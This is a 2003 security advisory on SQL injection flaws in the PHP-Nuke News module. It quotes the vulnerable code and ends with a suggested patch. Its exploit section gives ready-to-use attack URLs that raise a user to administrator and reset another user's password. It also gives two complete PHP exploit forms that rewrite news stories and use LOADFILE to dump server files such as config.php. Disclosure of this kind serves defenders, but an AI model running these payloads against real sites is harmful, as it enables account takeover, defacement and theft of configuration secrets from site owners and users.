22th Mar 2003 [SBWID-6085]
COMMAND
	PHP-Nuke SQL Injection
SYSTEMS AFFECTED
	PHP-Nuke Versions : 5.6, 6.0, 6.5 RC1, 6.5 RC2, 6.5 RC3, 6.5
PROBLEM
	Thanks to frog-m@n [http://www.phpsecure.info] advisory :
	
	 http://www.frog-man.org/tutos/PHP-Nuke-News.txt
	
	 (Bogus) PHP Code/Location :
	         °°°°°°°°°°°°°°°°°°?
	/modules/News/article.php :
	
	------------------------------------------------------------------------
	if (stristr($REQUEST_URI,"mainfile")) {
	    Header("Location: 
	modules.php?name=$module_name&file=article&sid=$sid");
	} elseif (!isset($sid) && !isset($tid)) {
	    Header("Location: index.php");
	}
	if ($save AND is_user($user)) {
	    cookiedecode($user);
	    $db->sql_query("UPDATE ".$user_prefix."_users SET umode='$mode', 
	uorder='$order', thold='$thold' where uid='$cookie[0]'");
	    getusrinfo($user);
	    $info = 
	base64_encode("$userinfo[user_id]:$userinfo[username]:$userinfo[user_password]:$userinfo[storynum]:$userinfo[umode]:$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
	    setcookie("user","$info",time()+$cookieusrtime);
	}
	------------------------------------------------------------------------
	
	/modules/News/index.php :
	
	------------------------------------------------------------------------
	[...]
	function rate_article($sid, $score) {
	    global $prefix, $dbi, $ratecookie, $sitename, $r_options;
	    if ($score) {
		if ($score > 5) { $score = 5; }
		if ($score < 1) { $score = 1; }
		if (isset($ratecookie)) {
		    $rcookie = base64_decode($ratecookie);
		    $r_cookie = explode(":", $rcookie);
		}
		for ($i=0; $i < sizeof($r_cookie); $i++) {
		    if ($r_cookie[$i] == $sid) {
			$a = 1;
		    }
		}
		if ($a == 1) {
		    Header("Location: 
	modules.php?name=News&op=rate_complete&sid=$sid&rated=1");
		} else {
		    $result = sql_query("update ".$prefix."_stories set 
	score=score+$score, 
	ratings=ratings+1 where sid='$sid'", $dbi);
		    $info = base64_encode("$rcookie$sid:");
		    setcookie("ratecookie","$info",time()+3600);
		    Header("Location: 
	modules.php?name=News&op=rate_complete&sid=$sid$r_options");
		}
	    } else {
		include("header.php");
		title("$sitename: "._ARTICLERATING."");
		OpenTable();
		echo "<center>"._DIDNTRATE."<br><br>"
		    .""._GOBACK."</center>";
		CloseTable();
		include("footer.php");
	    }
	}
	[...]
	switch ($op) {
	[...]
	    case "rate_article":
	    rate_article($sid, $score);
	    break;
	[...]
	}
	?>
	------------------------------------------------------------------------
	
	mainfile.php :
	
	------------------------------------------------------------------
	[...]
	foreach ($_GET as $secvalue) {
	    if ((eregi("<[^>]*script*\"?[^>]*>", $secvalue)) ||
		(eregi("<[^>]*object*\"?[^>]*>", $secvalue)) ||
		(eregi("\.\.", $secvalue)) ||
		(eregi("<[^>]*iframe*\"?[^>]*>", $secvalue)) ||
		(eregi("<[^>]*applet*\"?[^>]*>", $secvalue)) ||
		(eregi("<[^>]*meta*\"?[^>]*>", $secvalue)) ||
		(eregi("<[^>]*style*\"?[^>]*>", $secvalue)) ||
		(eregi("<[^>]*form*\"?[^>]*>", $secvalue)) ||
		(eregi("<[^>]*img*\"?[^>]*>", $secvalue)) ||
		(eregi("\([^>]*\"?[^)]*\)", $secvalue)) ||
		(eregi("\"", $secvalue))) {
		Header("Location: index.php");
		die();
	    }
	}
	foreach ($_POST as $secvalue) {
	    if (eregi("<[^>]*script*\"?[^>]*>", $secvalue)) {
		Header("Location: index.php");
		die();
	    }
	}
	[...]
	------------------------------------------------------------------
	
	 Exploits :
	 °°°°°°°°°°
	if magic_quotes_gpc=OFF :
	- Change our level (into admin) :
	
	http://[target]/modules.php?name=News&file=article&sid=1&save=1&mode=',user_level='4
	or
	http://[target]/modules.php?name=News&file=article&sid=1&save=1&order=',user_level='4
	or
	http://[target]/modules.php?name=News&file=article&sid=1&save=1&thold=',user_level='4
	
	- Change the Bob's password :
	
	 http://[target]/modules.php?name=News&file=article&sid=1&save=1&order=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*
	
	if magic_quotes_gpc=OFF AND ON !!
	Change the title, article,... of a news :
	
	------------------------------------------------------------------------
	<html>
	<head>
	<title>PHP-Nuke Change News</title>
	</head>
	<body>
	<?
	function ascii_phpnuke_exploit($str) {
	for ($i=0;$i < strlen($str);$i++) {
	if ($i == strlen($str)-1){
	$ascii_char.=ord(substr($str,$i));
	}else{
	$ascii_char.=ord(substr($str,$i)).',';
	}
	}
	return $ascii_char;
	}
	if (isset($submit)) {
	$score="1";
	if (isset($title)) {
	$score.=", title=char(".ascii_phpnuke_exploit($title).")";
	}
	if (strlen($hometext)>1) {
	$score.=", hometext=char(".ascii_phpnuke_exploit($hometext).")";
	}
	if (strlen($bodytext)>1){
	$score.=", bodytext=char(".ascii_phpnuke_exploit($bodytext).")";
	}
	?>
	<b>Target URL : </b><? echo $target; ?><br><br>
	<b>SID : </b><? echo $sid; ?><br><br>
	<b>New Title : </b><? echo $title; ?><br><br>
	<b>New Story Text : </b><? echo $hometext; ?><br><br>
	<b>New Extended Text : </b><? echo $bodytext; ?><br><br>
	<form method="POST" action="<? echo $target; ?>/modules.php">
	<input type="hidden" name="name" value="News">
	<input type="hidden" name="op" value="rate_article">
	<input type="hidden" name="sid" value="<? echo $sid; ?>">
	<input type="hidden" name="score" value="<? echo $score; ?>">
	<input type="submit" name="submit" value="Change the News">
	</form>
	<input type="submit" value="Back" onclick="history.go(-1)">
	<?
	}else{
	?>
	<form method="GET" action="<? echo $PHP_SELF; ?>">
	Target URL : <input type="text" name="target"><br>
	News SID : <input type="text" name="sid"><br><br>
	<b>New Title :</b><br> <input type="text" name="title"><br>
	<br><br><b>New Story Text :</b><br><textarea cols="50" rows="12" 
	name="hometext"></textarea>
	<br><br><br><b>New Extended Text : </b><br><textarea cols="50" 
	rows="12" 
	name="bodytext"></textarea><br><br>
	<input type="submit" name="submit" value="Preview">
	</form>
	<?
	}
	?>
	</body>
	</html>
	------------------------------------------------------------------------
	
	Save a file from the HD, like 'config.php' into a news :
	
	------------------------------------------------------------------------
	<html>
	<head>
	<title>PHP-Nuke View File</title>
	</head>
	<body>
	<?
	function ascii_phpnuke_exploit($str) {
	for ($i=0;$i < strlen($str);$i++) {
	if ($i == strlen($str)-1){
	$ascii_char.=ord(substr($str,$i));
	}else{
	$ascii_char.=ord(substr($str,$i)).',';
	}
	}
	return $ascii_char;
	}
	if (isset($submit)) {
	$score="1";
	if (isset($hometext)) {
	$score.=", 
	hometext=LOADFILE(char(".ascii_phpnuke_exploit($hometext)."))";
	}
	if (isset($bodytext)){
	$score.=", 
	bodytext=LOADFILE(char(".ascii_phpnuke_exploit($bodytext)."))";
	}
	?>
	<b>Target URL : </b><? echo $target; ?><br><br>
	<b>SID : </b><? echo $sid; ?><br><br>
	<b>File In Story Text : </b><? echo $hometext; ?><br><br>
	<b>File In Extended Text : </b><? echo $bodytext; ?><br><br>
	<form method="POST" action="<? echo $target; ?>/modules.php">
	<input type="hidden" name="name" value="News">
	<input type="hidden" name="op" value="rate_article">
	<input type="hidden" name="sid" value="<? echo $sid; ?>">
	<input type="hidden" name="score" value="<? echo $score; ?>">
	<input type="submit" name="submit" value="Change the News">
	</form>
	<input type="submit" value="Back" onclick="history.go(-1)">
	<?
	}else{
	?>
	<form method="GET" action="<? echo $PHP_SELF; ?>">
	Target URL : <input type="text" name="target"><br>
	News SID : <input type="text" name="sid"><br><br>
	<br><br><b>File In Story Text (Full Path) :</b><br><input 
	name="hometext">
	<br><br><br><b>File In Extended Text (Full Path) : </b><br><input 
	name="bodytext"><br><br>
	<input type="submit" name="submit" value="Preview">
	</form>
	<?
	}
	?>
	</body>
	</html>
	------------------------------------------------------------------------
	
	The complete file can be found, for example at :
	
	 http://[target]/modules/News/comments.php
	
SOLUTION
	A patch can be found on http://www.phpsecure.info
	Into mainfile.php, replace :
	
	------------------------------------------------------------------
	[...]
	foreach ($_GET as $secvalue) {
	    if ((eregi("<[^>]*script*\"?[^>]*>", $secvalue)) ||
		(eregi("<[^>]*object*\"?[^>]*>", $secvalue)) ||
		(eregi("\.\.", $secvalue)) ||
		(eregi("<[^>]*iframe*\"?[^>]*>", $secvalue)) ||
		(eregi("<[^>]*applet*\"?[^>]*>", $secvalue)) ||
		(eregi("<[^>]*meta*\"?[^>]*>", $secvalue)) ||
		(eregi("<[^>]*style*\"?[^>]*>", $secvalue)) ||
		(eregi("<[^>]*form*\"?[^>]*>", $secvalue)) ||
		(eregi("<[^>]*img*\"?[^>]*>", $secvalue)) ||
		(eregi("\([^>]*\"?[^)]*\)", $secvalue)) ||
		(eregi("\"", $secvalue))) {
		Header("Location: index.php");
		die();
	    }
	}
	foreach ($_POST as $secvalue) {
	    if (eregi("<[^>]*script*\"?[^>]*>", $secvalue)) {
		Header("Location: index.php");
		die();
	    }
	}
	[...]
	------------------------------------------------------------------
	
	by :
	
	--------------------------------------------------------------------------------------------------------------
	foreach ($_REQUEST as $key=>$value) {
	    if (get_magic_quotes_gpc()==0) {
	        $value = addslashes($value); // This will reproduce the option 
	magic_quotes_gpc=1
	    }
	    $value = 
	str_replace(array(')','=','<','>','|'),array(')','=','<','>','|'),$value);
	    ${$key} = $value;
	    $_REQUEST[$key] = $value;
	    if (isset($_POST[$key])) { $_POST[$key] = $value; }
	    if (isset($_COOKIE[$key])) { $_COOKIE[$key] = $value; }
	    if (isset($_FILE[$key])) { $_FILE[$key] = $value; }
	    if (isset($_GET[$key])) { $_GET[$key] = $value; }
	    if (isset($HTTP_POST_VARS[$key])) { $HTTP_POST_VARS[$key] = $value; 
	}
	    if (isset($HTTP_COOKIE_VARS[$key])) { $HTTP_COOKIE_VARS[$key] = 
	$value; 
	}
	    if (isset($HTTP_FILE_VARS[$key])) { $HTTP_FILE_VARS[$key] = $value; 
	}
	    if (isset($HTTP_GET_VARS[$key])) { $HTTP_GET_VARS[$key] = $value; }
	}
	--------------------------------------------------------------------------------------------------------------